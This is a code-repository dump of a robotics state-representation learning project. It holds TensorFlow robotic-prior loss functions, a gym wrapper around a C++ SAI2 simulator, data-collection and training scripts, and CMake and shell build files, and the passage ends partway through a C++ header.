[ "Swift", "Ruby", "Shell" ]
3
Swift
Dronaldo17/uniapp_flutter
0eac283f9d4eb12049a69a9971b5bc19e5137bdb
926b0ed17387884d38c84faac5f56a5b1847920c
refs/heads/master
<file_sep>""" Tensorflow ops for robotic prior losses. """ import numpy as np import tensorflow as tf from tensorflow.python.framework import ops import os from time import strftime k = { "epsilon_a": 0.01, "epsilon_r": 0.01, "range_W": 0.05, "w_temp": 10, "w_prop": 1, "w_caus": 1, "w_rep": 5, "lambda": 0.0025, "dim_s": 2, "num_pair_samples": 100 } class RoboticPriors: def __init__(self, dim_image): self.dim_o = np.prod(dim_image) self.dim_x = 2 self.dim_a = 2 self.lr = 0.001 self.w_temp = 5 self.w_prop = 1 self.w_caus = 5 self.w_rep = 5 self.add_placeholders_op() self.add_model_op() self.add_loss_op() self.add_optimizer_op() self.add_summary_op() self.train_writer = None def add_placeholders_op(self): # Placeholders self.o = tf.placeholder(tf.float32, [None, self.dim_o], "o") self.a = tf.placeholder(tf.float32, [None, self.dim_a], "a") self.r = tf.placeholder(tf.float32, [None], "r") self.x = tf.placeholder(tf.float32, [None, self.dim_x], "x") def add_model_op(self): dim_h1 = 16 dim_h2 = 8 krn_h1 = 5 krn_h2 = 5 # Model architecture initializer = tf.contrib.layers.xavier_initializer() # W1 = tf.get_variable("W1", [dim_o, dim_h1], dtype=tf.float32, initializer=initializer) # W2 = tf.get_variable("W2", [dim_h1, dim_x], dtype=tf.float32, initializer=initializer) # b1 = tf.get_variable("b1", [dim_h1], dtype=tf.float32, initializer=initializer) # b2 = tf.get_variable("b2", [dim_x], dtype=tf.float32, initializer=initializer) W0 = tf.get_variable("W0", [self.dim_o, self.dim_x], dtype=tf.float32, initializer=initializer) b0 = tf.get_variable("b0", [self.dim_o], dtype=tf.float32, initializer=initializer) # # 200 x 150 x 3 # conv1 = tf.layers.conv2d( # inputs=o, # filters=dim_h1, # kernel_size=(krn_h1, krn_h1), # padding="valid", # strides=(2,2), # activation=tf.nn.relu, # name="conv1" # ) # # 98 x 73 x 16 # pool1 = tf.layers.max_pooling2d( # inputs=conv1, # pool_size=(2,2), # strides=2, # name="pool1" # ) # # 49 x 37 x 16 # h1 = tf.reshape(pool1, [-1, dim_o]) # Model input and output # h1 = tf.nn.relu(tf.matmul(o, W1) + b1) # s = tf.add(tf.matmul(h1, W2), b2, name="s") self.s = tf.matmul(self.o + b0, W0, name="s") # s = tf.add(tf.matmul(h1, W0), b0, name="s") def add_loss_op(self): # Ground truth loss # loss = tf.losses.mean_squared_error(self.x, self.s) # Robotic rpiors loss L_temp = temporal_coherence_loss(self.s) L_prop = proportionality_loss(self.s, self.a) L_caus = causality_loss(self.s, self.a, self.r) L_rep = repeatability_loss(self.s, self.a) self.loss = self.w_temp * L_temp + self.w_prop * L_prop + self.w_caus * L_caus + self.w_rep * L_rep tf.summary.scalar("loss", self.loss) def add_optimizer_op(self): # Create optimizer # optimizer = tf.train.AdadeltaOptimizer() # optimizer = tf.train.RMSPropOptimizer(0.0001) optimizer = tf.train.AdagradOptimizer(self.lr) self.train = optimizer.minimize(self.loss) def add_summary_op(self): self.summary = tf.summary.merge_all() self.saver = tf.train.Saver() def evaluate(self, observation): return self.sess.run(self.s, { self.o: observation }) def create_logger(self): if not os.path.exists(os.path.join("results", "logs")): os.makedirs(os.path.join("results", "logs")) if not os.path.exists(os.path.join("results", "models")): os.makedirs(os.path.join("results", "models")) self.datadir = os.path.join("results", "logs", strftime("%m-%d_%H-%M")) self.modeldir = os.path.join("results", "models", strftime("%m-%d_%H-%M")) self.modelpath = os.path.join(self.modeldir, "model") if self.train_writer is not None: self.train_writer.close() self.train_writer = tf.summary.FileWriter(os.path.join(self.datadir, "train")) # test_writer = tf.summary.FileWriter(os.path.join(datadir, "test")) def reset_session(self): # Initialize session init = tf.global_variables_initializer() self.sess = tf.Session() self.sess.run(init) # reset values to wrong def train_iteration(self, o_train, a_train, r_train, x_train): feed_train = { self.o: o_train, self.x: x_train, self.a: a_train, self.r: r_train } self.sess.run(self.train, feed_train) summary_train, loss_train = self.sess.run([self.summary, self.loss], feed_train) return summary_train, loss_train def train_network(self, train_batch): min_loss_train = float("inf") i = 0 for o_train, a_train, r_train, x_train, _, _ in train_batch: # Train iteration summary_train, loss_train = self.train_iteration(o_train, a_train, r_train, x_train) self.train_writer.add_summary(summary_train, i) if loss_train < min_loss_train: min_loss_train = loss_train self.saver.save(self.sess, self.modelpath, global_step=i) with open(os.path.join(self.modeldir, "saved.log"), "w+") as f: f.write("Iteration: {}, Train loss: {}".format(i, loss_train)) print("Iteration: {}, Train loss: {},".format(i, loss_train)) i += 1 # Define custom py_func which takes also a grad op as argument: def py_func(func, inp, Tout, stateful=True, name=None, grad=None): # Need to generate a unique name to avoid duplicates: rnd_name = 'PyFuncGrad' + str(np.random.randint(0, 1E+8)) tf.RegisterGradient(rnd_name)(grad) g = tf.get_default_graph() with g.gradient_override_map({"PyFunc": rnd_name, "PyFuncStateless": rnd_name}): return tf.py_func(func, inp, Tout, stateful=stateful, name=name) def temporal_coherence_loss(s, name=None): def _temporal_coherence_loss_grad(s): T = s.shape[0] - 1 # Loss ds = s[1:] - s[:-1] loss = np.float32(1 / T) * (ds * ds).flatten().sum() # Gradient diff_ds = ds[:-1] - ds[1:] diff_ds = np.vstack((-ds[0], diff_ds, ds[-1])) # TODO: Should be T+1 x 2 grad = 2 / T * diff_ds return loss, grad def _TemporalCoherenceLossGrad(op, grad_loss, grad_grad): return grad_loss * op.outputs[1] with ops.name_scope(name, "TemporalCoherenceLoss", [s]) as name: loss, _ = py_func(_temporal_coherence_loss_grad, [s], [tf.float32, tf.float32], name=name, grad=_TemporalCoherenceLossGrad) return loss def sample_action_predicates(a): idx_a1 = [] idx_a2 = [] for i in range(a.shape[0]-1): idx_i_a = np.linalg.norm(a[i,np.newaxis,:] - a[i+1:,:], axis=1) < k["epsilon_a"] idx_i_a = np.random.permutation(np.where(idx_i_a)[0]) num_a = min(k["num_pair_samples"], len(idx_i_a)) idx_i_a = idx_i_a[:num_a] + i+1 idx_a1.append(i + np.zeros(num_a, dtype=np.int32)) idx_a2.append(idx_i_a) idx_a1 = np.concatenate(idx_a1) idx_a2 = np.concatenate(idx_a2) return (idx_a1, idx_a2) def proportionality_loss(s, a, name=None): def _proportionality_loss_grad(s, a): T = s.shape[0] - 1 S = s.shape[1] idx_a1, idx_a2 = sample_action_predicates(a) if idx_a1.shape[0] == 0: return np.float32(0), np.zeros(s.shape, dtype=np.float32) # Loss ds = s[1:] - s[:-1] ds_a1 = ds[idx_a1] ds_a2 = ds[idx_a2] ds_a1_norm = np.float32(np.linalg.norm(ds_a1, axis=1)) ds_a2_norm = np.float32(np.linalg.norm(ds_a2, axis=1)) # Prevent divide by 0 idx = np.logical_and(ds_a1_norm != 0, ds_a2_norm != 0) if np.any(idx == 0): idx_a1 = idx_a1[idx] idx_a2 = idx_a2[idx] ds_a1 = ds[idx_a1] ds_a2 = ds[idx_a2] ds_a1_norm = np.float32(np.linalg.norm(ds_a1, axis=1)) ds_a2_norm = np.float32(np.linalg.norm(ds_a2, axis=1)) dds_norm = ds_a1_norm - ds_a2_norm loss = np.float32(1 / T) * dds_norm.dot(dds_norm) # Gradient I = np.eye(T+1, dtype=np.float32) D = I[1:] - I[:-1] diff_a1 = D[idx_a1] diff_a2 = D[idx_a2] q1 = diff_a1.T.dot((dds_norm / ds_a1_norm)[:,np.newaxis] * ds_a1) q2 = diff_a2.T.dot((dds_norm / ds_a2_norm)[:,np.newaxis] * ds_a2) grad = 2 / T * (q1 - q2) return loss, grad def _ProportionalityLossGrad(op, grad_loss, grad_grad): return grad_loss * op.outputs[1], 0 * op.inputs[1] with ops.name_scope(name, "ProportionalityLoss", [s, a]) as name: loss, _ = py_func(_proportionality_loss_grad, [s, a], [tf.float32, tf.float32], name=name, grad=_ProportionalityLossGrad) return loss def sample_action_reward_predicates(a, r): idx_ar1 = [] idx_ar2 = [] for i in range(a.shape[0]-1): idx_i_a = np.linalg.norm(a[i,np.newaxis,:] - a[i+1:,:], axis=1) < k["epsilon_a"] idx_i_r = np.abs(r[i] - r[i+1:]) > k["epsilon_r"] idx_i_ar = np.logical_and(idx_i_a, idx_i_r) idx_i_ar = np.random.permutation(np.where(idx_i_ar)[0]) num_ar = min(k["num_pair_samples"], len(idx_i_ar)) idx_i_ar = idx_i_ar[:num_ar] + i+1 idx_ar1.append(i + np.zeros(num_ar, dtype=np.int32)) idx_ar2.append(idx_i_ar) idx_ar1 = np.concatenate(idx_ar1) idx_ar2 = np.concatenate(idx_ar2) return (idx_ar1, idx_ar2) def causality_loss(s, a, r, name=None): def _causality_loss_grad(s, a, r): T = s.shape[0] - 1 S = s.shape[1] idx_ar1, idx_ar2 = sample_action_reward_predicates(a, r) if idx_ar1.shape[0] == 0: return np.float32(0), np.zeros(s.shape, dtype=np.float32) # Loss s = s[1:] s_ar1 = s[idx_ar1] s_ar2 = s[idx_ar2] ds = s_ar1 - s_ar2 ds_norm = (ds * ds).sum(axis=1) c = ds_norm.min() exp_ds_norm = np.exp(c - ds_norm, dtype=np.float32) loss = np.float32(np.exp(-c) / T) * exp_ds_norm.sum() # Gradient I = np.eye(T+1, dtype=np.float32) d_ar = I[idx_ar1] - I[idx_ar2] d_ar_exp_ds_norm_ds = d_ar.T.dot(exp_ds_norm[:,np.newaxis] * ds) # TODO: Should be T+1 x 2 grad = -2 * np.exp(-c) / T * d_ar_exp_ds_norm_ds return loss, grad def _CausalityLossGrad(op, grad_loss, grad_grad): return grad_loss * op.outputs[1], 0 * op.inputs[1], 0 * op.inputs[2] with ops.name_scope(name, "CausalityLoss", [s, a, r]) as name: loss, _ = py_func(_causality_loss_grad, [s, a, r], [tf.float32, tf.float32], name=name, grad=_CausalityLossGrad) return loss def repeatability_loss(s, a, name=None): def _repeatability_loss_grad(s, a): T = s.shape[0] - 1 S = s.shape[1] idx_a1, idx_a2 = sample_action_predicates(a) if idx_a1.shape[0] == 0: return np.float32(0), np.zeros(s.shape, dtype=np.float32) # Loss ds = s[1:] - s[:-1] s = s[1:] s_a1 = s[idx_a1] s_a2 = s[idx_a2] ds_a1 = ds[idx_a1] ds_a2 = ds[idx_a2] ds = s_a1 - s_a2 dds = ds_a1 - ds_a2 ds_norm = (ds * ds).sum(axis=1) dds_norm = (dds * dds).sum(axis=1) c = ds_norm.min() exp_ds_norm = np.exp(c - ds_norm) exp_ds_dds_norm = exp_ds_norm * dds_norm loss = np.float32(np.exp(-c) / T) * exp_ds_dds_norm.sum() # Gradient # TODO: Find more efficient way to find A1 - A2 I = np.eye(T, dtype=np.float32) da = I[idx_a1] - I[idx_a2] I = np.eye(T+1, dtype=np.float32) D = I[1:] - I[:-1] diff_da = da.dot(D) X = diff_da.T.dot(exp_ds_norm[:,np.newaxis] * dds) Y = da.T.dot(exp_ds_dds_norm[:,np.newaxis] * ds) Y = np.vstack((np.zeros(Y.shape[1], dtype=np.float32), Y)) grad = np.float32(2 * np.exp(-c) / T) * (X - Y) return loss, grad def _RepeatabilityLossGrad(op, grad_loss, grad_grad): return grad_loss * op.outputs[1], 0 * op.inputs[1] with ops.name_scope(name, "RepeatabilityLoss", [s, a]) as name: loss, _ = py_func(_repeatability_loss_grad, [s, a], [tf.float32, tf.float32], name=name, grad=_RepeatabilityLossGrad) return loss <file_sep>import gym from gym import error, spaces, utils from gym.utils import seeding import numpy as np from gym_sai2.envs import sai2_env_cpp class SaiEnv(gym.Env): def __init__(self): world_file = "../resources/gym.urdf" robot_file = "../resources/kuka_iiwa_gym.urdf" robot_name = "kuka_iiwa" window_width = 200 window_height = 150 self.dim_action = (2,) self.dim_observation = (window_height, window_width, 3) self.dim_x = (2,) self.action_space = spaces.Box(-1, 1, self.dim_action) self.observation_space = spaces.Box(0, 255, self.dim_observation) self.img_buffer = np.zeros(self.dim_observation, dtype=np.uint8) self.info_buffer = np.zeros((2,3), dtype=np.float64) self.sai2_env = sai2_env_cpp.init(world_file, robot_file, robot_name, window_width, window_height) def _step(self, action): """ Run one timestep of the environment's dynamics. When end of episode is reached, you are responsible for calling `reset()` to reset this environment's state. Accepts an action and returns a tuple (observation, reward, done, info). Args: action (object): an action provided by the environment Returns: observation (object): agent's observation of the current environment reward (float): amount of reward returned after previous action done (boolean): whether the episode has ended, in which case further step() calls will return undefined results info (dict): contains auxiliary diagnostic information (helpful for debugging, and sometimes learning) """ reward, done = sai2_env_cpp.step(self.sai2_env, action, self.img_buffer, self.info_buffer) info = { "x": self.info_buffer[0], "dx": self.info_buffer[1], } return (self.img_buffer, reward, done, info) def _reset(self): """ Resets the state of the environment and returns an initial observation. Returns: observation (object): the initial observation of the space. """ sai2_env_cpp.reset(self.sai2_env, self.img_buffer) return self.img_buffer def _render(self, mode="human", close=False): """ Renders the environment. The set of supported modes varies per environment. (And some environments do not support rendering at all.) By convention, if mode is: - human: render to the current display or terminal and return nothing. Usually for human consumption. - rgb_array: Return an numpy.ndarray with shape (x, y, 3), representing RGB values for an x-by-y pixel image, suitable for turning into a video. - ansi: Return a string (str) or StringIO.StringIO containing a terminal-style text representation. The text can include newlines and ANSI escape sequences (e.g. for colors). Note: Make sure that your class's metadata 'render.modes' key includes the list of supported modes. It's recommended to call super() in implementations to use the functionality of this method. Args: mode (str): the mode to render with close (bool): close all open renderings Example: class MyEnv(Env): metadata = {'render.modes': ['human', 'rgb_array']} def render(self, mode='human'): if mode == 'rgb_array': return np.array(...) # return RGB frame suitable for video elif mode is 'human': ... # pop up a window and render else: super(MyEnv, self).render(mode=mode) # just raise an exception """ if mode == "rgb_array": return self.img_buffer return def _seed(self, seed=None): """ Sets the seed for this env's random number generator(s). Note: Some environments use multiple pseudorandom number generators. We want to capture all such seeds used in order to ensure that there aren't accidental correlations between multiple generators. Returns: list<bigint>: Returns the list of seeds used in this env's random number generators. The first value in the list should be the "main" seed, or the value which a reproducer should pass to 'seed'. Often, the main seed equals the provided 'seed', but this won't be true if seed=None, for example. """ self.np_random, seed = seeding.np_random(seed) return [seed] <file_sep>#!/usr/bin/env python import gym import gym_sai2 import threading import numpy as np import matplotlib.pyplot as plt import h5py from time import gmtime, strftime def wait(): input("Hit <enter> to close.\n") exit() class RandomAgent(object): def __init__(self, action_space): self.action_space = action_space def act(self, observation, reward, done): return self.action_space.sample() if __name__ == "__main__": NUM_BATCHES = 100 SIZE_BATCH = 1000 # Create thread to kill process (ctrl-c doesn't work?) thread = threading.Thread(target=wait, daemon=True) thread.start() # Create sai2 environment env = gym.make("sai2-v0") env.seed(0) agent = RandomAgent(env.action_space) # Create dataset filename = "data/data-{}.hdf5".format(strftime("%m-%d_%H-%M"), gmtime()) with h5py.File(filename, "w") as f: # Get initial observation initial_observation = env.reset() ob = initial_observation reward = 0 done = False dset = f.create_dataset("initial_observation", initial_observation.shape, dtype=initial_observation.dtype) dset[...] = initial_observation for i in range(NUM_BATCHES): print("Iteration: {}".format(i)) actions = [] observations = [] rewards = [] xs = [] dxs = [] # Generate trajectory for _ in range(SIZE_BATCH): action = agent.act(ob, reward, done) ob, reward, done, info = env.step(action) actions.append(np.array(action)) observations.append(np.array(ob)[np.newaxis,...]) rewards.append(reward) xs.append(np.array(info["x"])) dxs.append(np.array(info["dx"])) # Vectorize trajectory actions = np.row_stack(actions) observations = np.concatenate(observations, axis=0) rewards = np.array(rewards) xs = np.row_stack(xs) dxs = np.row_stack(dxs) # Save trajectory to dataset grp = f.create_group("/episodes/{0:05d}".format(i)) dset = grp.create_dataset("actions", actions.shape, dtype=actions.dtype) dset[...] = actions dset = grp.create_dataset("observations", observations.shape, dtype=observations.dtype) dset[...] = observations dset = grp.create_dataset("rewards", rewards.shape, dtype=rewards.dtype) dset[...] = rewards dset = grp.create_dataset("xs", xs.shape, dtype=xs.dtype) dset[...] = xs dset = grp.create_dataset("dxs", dxs.shape, dtype=dxs.dtype) dset[...] = dxs env.close() <file_sep>#!/usr/bin/env python import gym import gym_sai2 import numpy as np from data import * from robotic_priors import * from reinforcement_learning import * import threading def wait(): input("Hit <enter> to close.\n") exit() if __name__ == "__main__": NUM_EPISODES = 10 LEN_EPISODE = 1000 NUM_ITERATIONS = 20 # Create thread to kill process (ctrl-c doesn't work?) thread = threading.Thread(target=wait, daemon=True) thread.start() # Create sai2 environment env = gym.make("sai2-v0") # TODO: Implement environment seed env.seed(0) # State representation learning robotic_priors = RoboticPriors(env.dim_observation) robotic_priors.reset_session() # Reinforcement learning agent agent = RandomAgent(env.action_space) for i in range(NUM_ITERATIONS): print("Iteration: {}".format(i)) # Generate RL trajectories with DataLogger() as d: filename = d.filename for j in range(NUM_EPISODES): print("Episode: {}".format(j)) # Get initial observation ob = env.reset() ob = np.array(ob)[np.newaxis,...] # One episode actions, observations, rewards, xs, dxs, learned_states = [], [ob], [], [], [], [] # Generate trajectory for _ in range(LEN_EPISODE): # Query RL policy s_hat = robotic_priors.evaluate(np.reshape(ob, (1,-1))) action = agent.act(s_hat) ob, reward, done, info = env.step(action) ob = np.array(ob)[np.newaxis,...] # Append to trajectory actions.append(np.array(action)) observations.append(ob) rewards.append(reward) xs.append(np.array(info["x"])) dxs.append(np.array(info["dx"])) learned_states.append(s_hat) # Vectorize trajectory actions = np.row_stack(actions) observations = np.concatenate(observations, axis=0) rewards = np.array(rewards) xs = np.row_stack(xs) dxs = np.row_stack(dxs) learned_states = np.row_stack(learned_states) # Log data d.log(j, actions, observations, rewards, xs, dxs, learned_states) # Get list of actions, observations, rewards, xs, dxs, learned_states from all episodes episodes = d.flush() # Train represnetation learning robotic_priors.create_logger() robotic_priors_data_generator = batch_data(data=episodes, extra=True, flatten=True) robotic_priors.train_network(robotic_priors_data_generator) env.close() <file_sep>set -e mkdir -p build cd build cmake .. make -j4 cd .. # Insert helper scripts into bin directory cd bin # Make script cat <<EOF > make.sh cd .. mkdir -p build cd build cmake .. make -j4 cd ../bin EOF chmod +x make.sh # Run generic controller script cat <<EOF > visualizer.sh # /opt/VirtualGL/bin/vglrun ./sai2_env ../resources/gym.urdf ../resources/kuka_iiwa_gym.urdf kuka_iiwa ./sai2_env ../resources/gym.urdf ../resources/kuka_iiwa_gym.urdf kuka_iiwa EOF chmod +x visualizer.sh cd .. <file_sep># Set executable name set(EXECUTABLE_NAME sai2_env) # Create executable add_executable(${EXECUTABLE_NAME} "${CMAKE_CURRENT_SOURCE_DIR}/CSaiEnv.cpp" ) # Link libraries find_library(GLFW_LIBRARY glfw) target_link_libraries(${EXECUTABLE_NAME} ${SAI2_LIBRARIES} ${GLFW_LIBRARY} ) # Static library for python interface set(LIBRARY_NAME sai2-env) # Create library add_library(${LIBRARY_NAME} SHARED "${CMAKE_CURRENT_SOURCE_DIR}/sai2_env_py.cpp" "${CMAKE_CURRENT_SOURCE_DIR}/CSaiEnv.cpp" ) # Link libraries find_package(PythonLibs) include_directories(${PYTHON_INCLUDE_DIRS}) target_link_libraries(${LIBRARY_NAME} ${SAI2_LIBRARIES} ${GLFW_LIBRARY} ${PYTHON_LIBRARIES} ) <file_sep>#include <Python.h> #include <string> #include <iostream> #include "CSaiEnv.h" extern "C" { void *init(const char *cstr_world_file, const char *cstr_robot_file, const char *cstr_robot_name, size_t window_width, size_t window_height); bool step(void *p_sai2_env, const double *action, uint8_t *observation, double *reward, double *info); void reset(void *p_sai2_env, uint8_t *observation); } void *init(const char *cstr_world_file, const char *cstr_robot_file, const char *cstr_robot_name, size_t window_width, size_t window_height) { std::string world_file(cstr_world_file); std::string robot_file(cstr_robot_file); std::string robot_name(cstr_robot_name); // Load robot std::cout << "Loading robot: " << robot_file << std::endl; auto robot = std::make_shared<Model::ModelInterface>(robot_file, Model::rbdl, Model::urdf, false); auto sim = std::make_shared<Simulation::SimulationInterface>(world_file, Simulation::sai2simulation, Simulation::urdf, false); auto graphics = std::make_shared<Graphics::GraphicsInterface>(world_file, Graphics::chai, Graphics::urdf, true); // Start controller app std::cout << "Initializing app with " << robot_name << std::endl; CSaiEnv *sai2_env = new CSaiEnv(std::move(robot), std::move(sim), std::move(graphics), robot_name, window_width, window_height); sai2_env->initialize(); return sai2_env; } bool step(void *p_sai2_env, const double *action, uint8_t *observation, double *reward, double *info) { CSaiEnv *sai2_env = reinterpret_cast<CSaiEnv *>(p_sai2_env); return sai2_env->step(action, observation, *reward, info); } void reset(void *p_sai2_env, uint8_t *observation) { CSaiEnv *sai2_env = reinterpret_cast<CSaiEnv *>(p_sai2_env); sai2_env->reset(observation); } <file_sep>gym==0.9.5 h5py==2.7.1 jupyter==1.0.0 matplotlib==2.1.2 tensorflow==2.7.2 <file_sep>#!/usr/bin/env python import numpy as np import matplotlib.pyplot as plt import tensorflow as tf from data import * import os from time import strftime from robotic_priors import * # Define robotic prior constants k = { "epsilon_a": 0.01, "epsilon_r": 0.01, "range_W": 0.05, "w_temp": 5, "w_prop": 1, "w_caus": 5, "w_rep": 5, "lambda": 0.0025, "dim_s": 2, "num_pair_samples": 1000 } if __name__ == "__main__": LOG = True print(list_files()) filename = get_filename(-1) print(filename) # Model parameters dim_image = np.array(get_observation_dim(filename)) dim_o = np.prod(dim_image) dim_x = 2 dim_a = 2 dim_h1 = 16 dim_h2 = 8 krn_h1 = 5 krn_h2 = 5 # Initialize train and test datasets train_batch = batch_data(size_batch=1000, extra=True, filename=filename, dataset="train", flatten=True) test_batch = batch_data(size_batch=1000, extra=True, filename=filename, dataset="test", flatten=True) o_test, a_test, r_test, x_test, _ = next(test_batch) # Placeholders o = tf.placeholder(tf.float32, [None, dim_o], "o") a = tf.placeholder(tf.float32, [None, dim_a], "a") r = tf.placeholder(tf.float32, [None], "r") x = tf.placeholder(tf.float32, [None, dim_x], "x") feed_test = { o: o_test, x: x_test, a: a_test, r: r_test } # Model architecture initializer = tf.contrib.layers.xavier_initializer() # W1 = tf.get_variable("W1", [dim_o, dim_h1], dtype=tf.float32, initializer=initializer) # W2 = tf.get_variable("W2", [dim_h1, dim_x], dtype=tf.float32, initializer=initializer) # b1 = tf.get_variable("b1", [dim_h1], dtype=tf.float32, initializer=initializer) # b2 = tf.get_variable("b2", [dim_x], dtype=tf.float32, initializer=initializer) W0 = tf.get_variable("W0", [dim_o, dim_x], dtype=tf.float32, initializer=initializer) b0 = tf.get_variable("b0", [dim_o], dtype=tf.float32, initializer=initializer) # # 200 x 150 x 3 # conv1 = tf.layers.conv2d( # inputs=o, # filters=dim_h1, # kernel_size=(krn_h1, krn_h1), # padding="valid", # strides=(2,2), # activation=tf.nn.relu, # name="conv1" # ) # # 98 x 73 x 16 # pool1 = tf.layers.max_pooling2d( # inputs=conv1, # pool_size=(2,2), # strides=2, # name="pool1" # ) # # 49 x 37 x 16 # h1 = tf.reshape(pool1, [-1, dim_o]) # Model input and output # h1 = tf.nn.relu(tf.matmul(o, W1) + b1) # s = tf.add(tf.matmul(h1, W2), b2, name="s") s = tf.matmul(o + b0, W0, name="s") # s = tf.add(tf.matmul(h1, W0), b0, name="s") # Ground truth loss # loss = tf.losses.mean_squared_error(x, s) # Robotic rpiors loss L_temp = temporal_coherence_loss(s) L_prop = proportionality_loss(s, a) L_caus = causality_loss(s, a, r) L_rep = repeatability_loss(s, a) loss = k["w_temp"] * L_temp + k["w_prop"] * L_prop + k["w_caus"] * L_caus + k["w_rep"] * L_rep tf.summary.scalar("loss", loss) # Create optimizer # optimizer = tf.train.AdadeltaOptimizer() # optimizer = tf.train.RMSPropOptimizer(0.0001) optimizer = tf.train.AdagradOptimizer(0.001) train = optimizer.minimize(loss) # Create logger merged = tf.summary.merge_all() if LOG: datadir = os.path.join("data", "logs", strftime("%m-%d_%H-%M")) modeldir = os.path.join("data", "models", strftime("%m-%d_%H-%M")) modelpath = os.path.join(modeldir, "model") train_writer = tf.summary.FileWriter(os.path.join(datadir, "train")) test_writer = tf.summary.FileWriter(os.path.join(datadir, "test")) saver = tf.train.Saver() min_loss_test = float("inf") # Initialize session init = tf.global_variables_initializer() sess = tf.Session() sess.run(init) # reset values to wrong for i in range(10000): # Train iteration o_train, a_train, r_train, x_train, _ = next(train_batch) feed_train = { o: o_train, x: x_train, a: a_train, r: r_train } sess.run(train, feed_train) # Evaluate training accuracy summary_train, loss_train = sess.run([merged, loss], feed_train) summary_test, loss_test = sess.run([merged, loss], feed_test) # Log summary if LOG and i % 100 == 0: train_writer.add_summary(summary_train, i) test_writer.add_summary(summary_test, i) if LOG: if loss_test < min_loss_test: min_loss_test = loss_test saver.save(sess, modelpath, global_step=i) with open(os.path.join(modeldir, "saved.log"), "w+") as f: f.write("Iteration: {}, Train loss: {}, Test loss: {}".format(i, loss_train, loss_test)) print("Iteration: {}, Train loss: {}, Test loss: {}".format(i, loss_train, loss_test)) train_writer.close() test_writer.close() <file_sep>find_program(PYTHON "python") if (PYTHON) set(SETUP_PY_IN "${CMAKE_CURRENT_SOURCE_DIR}/setup.py.in") set(SETUP_PY "${CMAKE_CURRENT_BINARY_DIR}/setup.py") set(DEPS "${CMAKE_CURRENT_SOURCE_DIR}/gym_sai2/__init__.py") set(OUTPUT "${CMAKE_CURRENT_SOURCE_DIR}/build/timestamp") configure_file(${SETUP_PY_IN} ${SETUP_PY}) add_custom_command(OUTPUT ${OUTPUT} COMMAND ${PYTHON} ${SETUP_PY} build COMMAND ${CMAKE_COMMAND} -E touch ${OUTPUT} DEPENDS ${DEPS}) add_custom_target(target ALL DEPENDS ${OUTPUT}) install(CODE "execute_process(COMMAND ${PYTHON} ${SETUP_PY} install)") endif() <file_sep>cmake_minimum_required(VERSION 3.1) project(SAI2-MASTER) # CMake settings set(CMAKE_CXX_STANDARD 14) set(CMAKE_CXX_STANDARD_REQUIRED ON) set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${PROJECT_SOURCE_DIR}/bin) set(CMAKE_POSITION_INDEPENDENT_CODE ON) ###################### # External libraries # ###################### set(SAI2_EXTERNAL_DIR ${PROJECT_SOURCE_DIR}/lib) # Eigen set(EIGEN3_INCLUDE_DIR ${SAI2_EXTERNAL_DIR}/eigen) # RBDL # TODO use FindRBDL.cmake in rbdl/examples set(RBDL_DIR ${SAI2_EXTERNAL_DIR}/rbdl) file(GLOB RBDL_PATHS ${RBDL_DIR}/build* ${RBDL_DIR}/build*/addons/urdfreader) find_library(RBDL_LIBRARY rbdl REQUIRED PATHS ${RBDL_PATHS}) find_library(RBDL_URDFReader_LIBRARY rbdl_urdfreader REQUIRED PATHS ${RBDL_PATHS}) find_path(RBDL_URDFReader_INCLUDE_DIR rbdl/addons/urdfreader/urdfreader.h HINTS ${SAI2_EXTERNAL_DIR}) file(GLOB RBDL_INCLUDE_DIR ${RBDL_DIR}/include ${RBDL_DIR}/build*/include) set(RBDL_FOUND true) # Chai3d # TODO: Find better place to put this? find_package(CHAI3D PATHS ${SAI2_EXTERNAL_DIR}/chai3d.git/build) find_library(DRD_LIBRARY drd PATHS ${CHAI3D_LIBRARY_DIRS}) find_library(CHAI3D_LIBRARY chai3d paths ${CHAI3D_DIR}) list(REMOVE_ITEM CHAI3D_LIBRARIES drd) list(REMOVE_ITEM CHAI3D_LIBRARIES chai3d) set(CHAI3D_LIBRARIES ${CHAI3D_LIBRARY} ${DRD_LIBRARY} ${CHAI3D_LIBRARIES}) # SAI2 Common set(BUILD_EXAMPLES OFF CACHE BOOL "") add_subdirectory(${SAI2_EXTERNAL_DIR}/sai2-simulation.git) add_subdirectory(${SAI2_EXTERNAL_DIR}/sai2-common.git) # TODO: Find local way to do this find_package(SAI2-COMMON PATHS ${SAI2_EXTERNAL_DIR}/sai2-common.git/build) include_directories(${SAI2-COMMON_INCLUDE_DIRS}) message(${SAI2-COMMON_INCLUDE_DIRS}) ################### # Project Sources # ################### # Set include include directories include_directories(${SAI2_EXTERNAL_DIR}) include_directories(${PROJECT_SOURCE_DIR}/src) # Set common libraries to be linked set(SAI2_LIBRARIES ${SAI2-COMMON_LIBRARY} ) # Add specific apps add_subdirectory(src/gym_sai2) # add_subdirectory(python) <file_sep>from gym.envs.registration import register register( id="sai2-v0", entry_point="gym_sai2.envs:SaiEnv" ) <file_sep>import ctypes as c sai2py = c.cdll.LoadLibrary("./libsai2-env.so") c_ubyte_p = c.POINTER(c.c_ubyte) c_double_p = c.POINTER(c.c_double) sai2_init = sai2py.init sai2_init.restype = c.c_void_p sai2_init.argtypes = [c.c_char_p, c.c_char_p, c.c_char_p, c.c_size_t, c.c_size_t] sai2_step = sai2py.step sai2_step.restype = c.c_bool sai2_step.argtypes = [c.c_void_p, c_double_p, c_ubyte_p, c_double_p, c_double_p] sai2_reset = sai2py.reset sai2_reset.restype = None sai2_reset.argtypes = [c.c_void_p, c_ubyte_p] def init(world_file, robot_file, robot_name, window_width, window_height): return sai2_init(c.c_char_p(world_file.encode()), c.c_char_p(robot_file.encode()), c.c_char_p(robot_name.encode()), c.c_size_t(window_width), c.c_size_t(window_height)) def step(sai2_env, action, observation, info): reward = c.c_double() done = sai2_step(sai2_env, action.ctypes.data_as(c_double_p), observation.ctypes.data_as(c_ubyte_p), c.byref(reward), info.ctypes.data_as(c_double_p)) return (reward.value, done) def reset(sai2_env, observation): sai2_reset(sai2_env, observation.ctypes.data_as(c_ubyte_p)) <file_sep>#ifndef C_SAI_ENV_H #define C_SAI_ENV_H // CS225a #include <redis/RedisClient.h> #include <timer/LoopTimer.h> // Standard #include <string> #include <thread> #include <mutex> #include <condition_variable> // External #include <Eigen/Core> #include <model/ModelInterface.h> #include <simulation/SimulationInterface.h> #include <graphics/GraphicsInterface.h> #include <graphics/ChaiGraphics.h> #include <GLFW/glfw3.h> //must be loaded after loading opengl/glew class CSaiEnv { public: CSaiEnv(std::shared_ptr<Model::ModelInterface> robot, std::shared_ptr<Simulation::SimulationInterface> sim, 